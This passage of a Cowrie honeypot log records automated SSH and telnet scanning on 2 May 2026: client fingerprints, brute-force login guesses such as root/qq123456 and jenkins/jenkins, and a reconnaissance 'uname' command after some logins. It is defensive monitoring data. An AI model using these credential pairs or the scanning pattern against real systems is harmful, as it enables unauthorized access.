a-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.435759Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.684549Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.903590Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:48.907211Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:49.165652Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:49.170132Z","src_ip":"176.65.132.129","session":"1897b9084a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":41900,"dst_ip":"10.17.0.5","dst_port":22,"session":"a23694a51cfb","protocol":"ssh","message":"New connection: 167.172.73.9:41900 (10.17.0.5:22) [session: a23694a51cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:50.737295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:50.741891Z","src_ip":"167.172.73.9","session":"a23694a51cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:50.979166Z","src_ip":"167.172.73.9","session":"a23694a51cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46762,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cdc5ef94e13","protocol":"ssh","message":"New connection: 176.65.132.129:46762 (10.17.0.5:22) [session: 9cdc5ef94e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:51.920907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:51.950741Z","src_ip":"176.65.132.129","session":"9cdc5ef94e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin1","message":"login attempt [ubuntu/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:51.958007Z","src_ip":"167.172.73.9","session":"a23694a51cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:52.017674Z","src_ip":"176.65.132.129","session":"9cdc5ef94e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:52.338563Z","src_ip":"176.65.132.129","session":"9cdc5ef94e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:53.201291Z","src_ip":"167.172.73.9","session":"a23694a51cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:53.422814Z","src_ip":"176.65.132.129","session":"9cdc5ef94e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46348,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2648290082a","protocol":"telnet","message":"New connection: 38.60.198.128:46348 (159.203.135.109:23) [session: c2648290082a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:53.677877Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46780,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef75da8c91c1","protocol":"ssh","message":"New connection: 176.65.132.129:46780 (10.17.0.5:22) [session: ef75da8c91c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:55.375373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:55.381064Z","src_ip":"176.65.132.129","session":"ef75da8c91c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:55.462759Z","src_ip":"176.65.132.129","session":"ef75da8c91c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:55.708337Z","src_ip":"176.65.132.129","session":"ef75da8c91c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:56.793465Z","src_ip":"176.65.132.129","session":"ef75da8c91c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60682,"dst_ip":"10.17.0.5","dst_port":23,"session":"11c1ac2f9c41","protocol":"telnet","message":"New connection: 45.81.23.16:60682 (10.17.0.5:23) [session: 11c1ac2f9c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:58.595995Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50876,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ec02199198","protocol":"ssh","message":"New connection: 176.65.132.129:50876 (10.17.0.5:22) [session: e4ec02199198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:58.954858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:58.960181Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:59.042567Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:59.289215Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:59.543072Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:59.546060Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:59.630178Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:50:59.636248Z","src_ip":"176.65.132.129","session":"e4ec02199198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.482903480529785,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:00.534825Z","src_ip":"64.227.82.147","session":"57460a6d0e8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.765475034713745,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:00.797920Z","src_ip":"64.227.82.147","session":"fe446430ffa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.555851221084595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:01.356383Z","src_ip":"38.60.198.128","session":"8a4171a824d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50880,"dst_ip":"10.17.0.5","dst_port":22,"session":"56eeb2e80c3d","protocol":"ssh","message":"New connection: 176.65.132.129:50880 (10.17.0.5:22) [session: 56eeb2e80c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:02.276709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:02.281779Z","src_ip":"176.65.132.129","session":"56eeb2e80c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:02.365148Z","src_ip":"176.65.132.129","session":"56eeb2e80c3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:02.617367Z","src_ip":"176.65.132.129","session":"56eeb2e80c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:03.702228Z","src_ip":"176.65.132.129","session":"56eeb2e80c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":38184,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d46a0038b22","protocol":"telnet","message":"New connection: 192.211.53.160:38184 (159.203.135.109:23) [session: 6d46a0038b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:05.253213Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41686,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e990235b624","protocol":"ssh","message":"New connection: 176.65.132.129:41686 (10.17.0.5:22) [session: 4e990235b624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:05.801062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:05.806197Z","src_ip":"176.65.132.129","session":"4e990235b624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:05.888988Z","src_ip":"176.65.132.129","session":"4e990235b624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:06.138629Z","src_ip":"176.65.132.129","session":"4e990235b624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:07.224679Z","src_ip":"176.65.132.129","session":"4e990235b624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.14185929298401,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:07.850010Z","src_ip":"38.60.198.128","session":"ad8a91faa2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41714,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d45b42f83b","protocol":"ssh","message":"New connection: 176.65.132.129:41714 (10.17.0.5:22) [session: 83d45b42f83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:09.137026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:09.141512Z","src_ip":"176.65.132.129","session":"83d45b42f83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 